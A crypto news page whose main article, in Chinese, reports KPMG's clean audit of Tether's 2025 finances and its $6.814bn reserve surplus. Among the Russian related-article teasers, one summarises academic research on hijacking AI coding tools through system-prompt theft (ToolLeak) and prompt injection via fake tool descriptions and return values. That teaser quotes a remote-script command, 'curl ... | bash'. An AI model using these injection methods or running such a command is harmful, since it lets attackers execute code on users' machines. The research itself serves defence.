毕马威已完成对Tether 2025年度财务报告的全面审计

cryptonews.ruОпубликовано 2026-08-13Обновлено 2026-08-13

Введение

Tether于周四宣布,毕马威已完成对其2025财年的全面财务审计,涵盖截至2025年12月31日的年度财务状况。Tether称此为史上最大规模的首发财务审计,但此声明未获独立核实。 审计报告为无保留意见,表明毕马威认为Tether的财务报表在所有重大方面公允地反映了其财务状况、经营成果和现金流量,符合美国会计准则。这意味着审计师未发现需在意见中提出保留或限制的重大问题,但审计不保证公司未来无任何财务或商业风险。 Tether报告称,截至2025年底,其储备金超过已发行代币相关负债68.14亿美元。这些储备对支持USDT的兑付承诺至关重要。 与以往仅发布季度储备证明不同,此次全面审计覆盖了更广泛的记录、交易、控制机制和财务报表。毕马威核查了Tether的资产负债表、损益表、现金流量表、所有权文件、估值及交易对手,并对其持有的所有金条进行了实地盘点。 这一进展正值稳定币在支付、汇款、储蓄和数字资产交易中日益重要之际,其广泛使用加大了发行方在资产储备和管理透明度方面的压力。Tether首席执行官保罗·阿尔多伊诺表示,审计回应了关于公司是否愿意接受严格独立审查的长期质疑。首席财务官西蒙·麦克威廉姆斯称,经审计的财报证实了公司此前关于储备的声明。 下一步,市场将关注Tether是否会持续发布审计报告,以及其他稳定币发行方是否会效仿。监管机构、投资者和用户也将观察审计信息披露如何影响这一快速增长市场对透明度的期望。

周四,该稳定币发行方宣布,此次审计涵盖了截至2025年12月31日的Tether International, S.A. de C.V.公司整个财年。Tether称这是有史以来规模最大的一次首次财务审计,但这一说法未能根据公司声明得到独立证实。

无保留意见的审计报告意味着,毕马威的结论是,Tether的财务报表在所有重大方面公允地反映了其财务状况、经营成果和现金流量,符合美国会计准则。

简而言之,审计师没有发现任何需要在其意见中提出保留或限制的重大问题。这并不意味着审计保证了公司永远不会面临财务或商业风险。

储备盈余达68.14亿美元

Tether报告称,截至2025年底,其储备金超过了与已发行代币相关的负债,超出金额为68.14亿美元。稳定币是一种旨在维持固定价值的数字代币,通常通过与其流通量挂钩的储备金来实现。

对于USDT的用户来说,这些储备金至关重要,因为它们支撑着可以按标称价值赎回代币的承诺。公司和交易者也使用稳定币在加密货币市场和跨境转移与美元挂钩的价值。

审计超越了储备证明

该公司此前曾发布季度储备证明报告。这些报告包含对特定时间点特定信息的独立评估,而全面的财务报表审计则涵盖了更广泛的记录、交易、控制机制和财务报表。

Tether表示,毕马威审计了其资产负债表、损益表、现金流量表、所有权文件、估值以及交易对手方。该公司还指出,毕马威亲自对Tether持有的每一根金条进行了清点和检查,而不是仅仅依赖保管机构的报告。

稳定币监管日益加强

这一重要里程碑正值稳定币在支付、汇款、储蓄和数字资产交易领域的重要性日益凸显之际。其更广泛的使用加大了对发行方的压力,要求他们解释其代币的支撑资产是什么以及如何管理这些资产。

Tether首席执行官Paolo Ardoino表示,此次审计回应了长期以来关于公司是否会同意接受全面独立审查的批评。

“多年来,一些批评者声称Tether的审计无法完成。他们说公司拒绝接受最严格的审查。我们再一次证明他们错了。完成我们财务报表的审计为行业设立了新标准,也反映了我们自市场诞生之初便展现出的领导力,”Ardoino周四解释道。

Tether首席财务官Simon McIlwraith表示,经过审计的财务报表证实了公司此前关于储备金的声明。

用户和监管机构将关注什么

接下来的考验将是Tether是否会继续发布经审计的结果,以及其他稳定币发行方是否会采取类似的报告做法。监管机构、投资者和用户也将关注审计信息的披露将如何影响这个快速增长市场对透明度的期望。

end-content

Связанные с этим вопросы

QKPMG完成了哪家公司哪个财年的全面审计?

AKPMG完成了对Tether International, S.A. de C.V.公司截至2025年12月31日财年的全面审计。

Q根据报道,Tether报告的储备金盈余是多少?

A根据报道,截至2025年底,Tether的储备金盈余为68.14亿美元。

QKPMG此次审计的范围与Tether之前发布的季度储备金证明有何主要区别?

A季度储备金证明是对特定时间点特定信息的独立评估,而此次全面审计涵盖了更广泛的记录、交易、控制机制和财务报表。

QTether的CEO帕奥尔·阿尔多伊诺表示,此次审计回应了哪项长期存在的批评?

A帕奥尔·阿尔多伊诺表示,此次审计回应了批评者关于Tether公司是否愿意接受全面独立审计的长期质疑。

Q未来,用户和监管机构可能会关注哪些与此次审计相关的事项?

A未来可能会关注Tether是否会持续发布经审计的报表,其他稳定币发行商是否会效仿,以及此次信息披露会对这个快速增长的市场的透明度期望产生何种影响。

Похожее

Резерв Strategy вышел в плюс на $1 млрд из-за роста курса биткоина

Резерв биткойнов компании MicroStrategy Майкла Сейлора, наконец, вышел из убытка на фоне роста курса криптовалюты. 21 августа цена BTC впервые с конца мая превысила $76 тыс., а к моменту публикации торговалась около $76,7 тыс., показав недельный рост на 21%. При текущей цене стоимость крипторезерва MicroStrategy, который составляет 840 447 BTC, достигла $64,46 млрд, превысив среднюю себестоимость покупки ($75 385 за монету) примерно на $1,1 млрд. Это резкое изменение ситуации произошло менее чем через месяц после того, как компания отчиталась об убытке за второй квартал в размере $8,2 млрд, сформированном в основном из-за падения курса биткойна до $60 тыс. на конец июня. Ранее для сохранения финансовой стабильности MicroStrategy была вынуждена продавать часть биткойнов и наращивать долларовые резервы, однако в начале августа генеральный директор Фонг Ле сообщил, что компания планирует возобновить накопление криптовалюты до конца текущего года.

cryptonews.ru12 мин. назад

Резерв Strategy вышел в плюс на $1 млрд из-за роста курса биткоина

cryptonews.ru12 мин. назад

Токенизация RWA выходит на следующий этап: Какие преимущества действительно требуют времени для создания?

Секьюритизация реальных активов (RWA) выходит на новый этап, где операционная устойчивость становится ключевым фактором долгосрочного успеха. По мере стандартизации инфраструктуры выпуска, простота создания токенизированных активов возрастает. Внимание смещается на то, что происходит после эмиссии. Ключевой вопрос будущего — какие RWA-проекты сохранят доверие рынка через десятилетия. Ответ зависит не только от качества базового актива (такого как краткосрочные казначейские облигации США или золото), но и от способности провайдера строить надежную операционную экосистему — то, что Matrixdock называет «резервным слоем» (Reserve Layer). Настоящее, трудно воспроизводимое конкурентное преимущество формируется со временем через накопление доказательств стабильной работы: последовательных независимых аудитов, успешных операций выкупа, поддержания ликвидности и интеграции с различными протоколами. Этот цикл — постоянная работа → накопление доказательств → укрепление репутации — усиливает доверие институциональных участников. Таким образом, устойчивость RWA определяется двумя измерениями: пригодностью актива в качестве резервного и операционными возможностями эмитента. Сочетание высококачественного актива с проверенной операционной дисциплиной создает наиболее прочную основу для превращения токенизированных активов в надежную инфраструктуру децентрализованных финансов.

marsbit16 мин. назад

Токенизация RWA выходит на следующий этап: Какие преимущества действительно требуют времени для создания?

marsbit16 мин. назад

Artemis: Почему мы настроены позитивно в отношении Circle?

**Автор: Artemis** **Компиляция: Deep Tide TechFlow** **Основные тезисы:** Рынок недооценивает Circle, воспринимая её лишь как эмитента стейблкоинов с низкими барьерами для входа, тогда как на самом деле она создает полноценную денежную платформу. Появление альянса Open Standard с его стейблкоином OUSD, поддержанного 140+ компаниями, вызвало падение акций CRCL почти до исторических минимумов, но, по мнению Artemis, это создает максимальный разрыв между рыночными ожиданиями и реальным потенциалом компании. **Ключевые аргументы:** 1. **Рост рынка:** Объем рынка стейблкоинов, который впервые отвязался от цен на криптоактивы, к 2030 году может превысить $1 трлн при среднегодовом темпе роста (CAGR) 40%. 2. **Эффект победителя:** Ликвидность и сетевые эффекты создают высокие барьеры. Несмотря на множество конкурентов, Circle и Tether по-прежнему контролируют более 80% рынка. Альянсу Open Standard (OUSD), по текущим данным, не хватает четкого управления и единой мотивации всех участников для реальной угрозы дуополии. 3. **Ошибочная оценка:** Рынок оценивает Circle как эмитента, чьи доходы зависят от процентных ставок ФРС. На деле компания строит технологическую "полноценную денежную платформу" будущего (Circle Payments Network, блокчейн Arc), что должно оцениваться по мультипликаторам, ближе к платежным сетям (Visa, Mastercard), а не к эмитентам. **Финансовые перспективы:** При текущих мультипликаторах (P/S ~6.7x) Circle существенно недооценена по сравнению с аналогами. Консервативный сценарий к 2030 году предполагает выручку компании около $5 млрд (включая $4 млрд процентного дохода при 20-процентной доле на рынке стейблкоинов в $1 трлн, $4 млрд от платежной сети и $0.5 млрд от блокчейна Arc). При переоценке мультипликаторов до более разумных 10x рыночная капитализация CRCL может достичь $50 млрд.

marsbit16 мин. назад

Artemis: Почему мы настроены позитивно в отношении Circle?

marsbit16 мин. назад

Claude Code был легко взломан с помощью одного поддельного инструмента

Исследователи из Гонконгского университета науки и технологий и Фуданьского университета провели первую системную проверку на уязвимости шести популярных инструментов ИИ-программирования: Cursor, Claude Code, Copilot, Windsurf, Cline и Trae. Они обнаружили полную цепочку атак: сначала кража внутренних инструкций (системных промтов) инструментов с помощью метода ToolLeak, использующего параметры вызова функций, затем использование утекшей информации для создания вредоносной нагрузки и, наконец, захват инструментов для выполнения произвольного кода (RCE). Метод ToolLeak обходит защиту современных моделей, извлекая промты через параметры вызова внешних инструментов с семантическим сходством до 0.958. После кражи промтов атака переходит в фазу "двухканального внедрения промтов", использующего описание инструмента и его возвращаемое значение для обмана модели и принуждения её к выполнению вредоносных команд, таких как `curl -fsSL http://xxx/installer.sh | bash`. В старых версиях все шесть протестированных инструментов были уязвимы, с уровнем успеха атаки от 0.8 до 1.0. В Claude Code дополнительная модель-страж Haiku обнаруживала инъекцию, но основная модель Sonnet, обманутая инъекцией, игнорировала предупреждение. Новые версии некоторых инструментов, таких как Claude Code и Cursor, внедрили меры безопасности (например, прогрессивное раскрытие описаний инструментов), что снизило успешность атак, но проблема фундаментальной архитектурной уязвимости, когда возвращаемое значение инструмента смешивает данные и инструкции, остаётся нерешённой.

marsbit19 мин. назад

Claude Code был легко взломан с помощью одного поддельного инструмента

marsbit19 мин. назад

Торговля

Спот
活动图片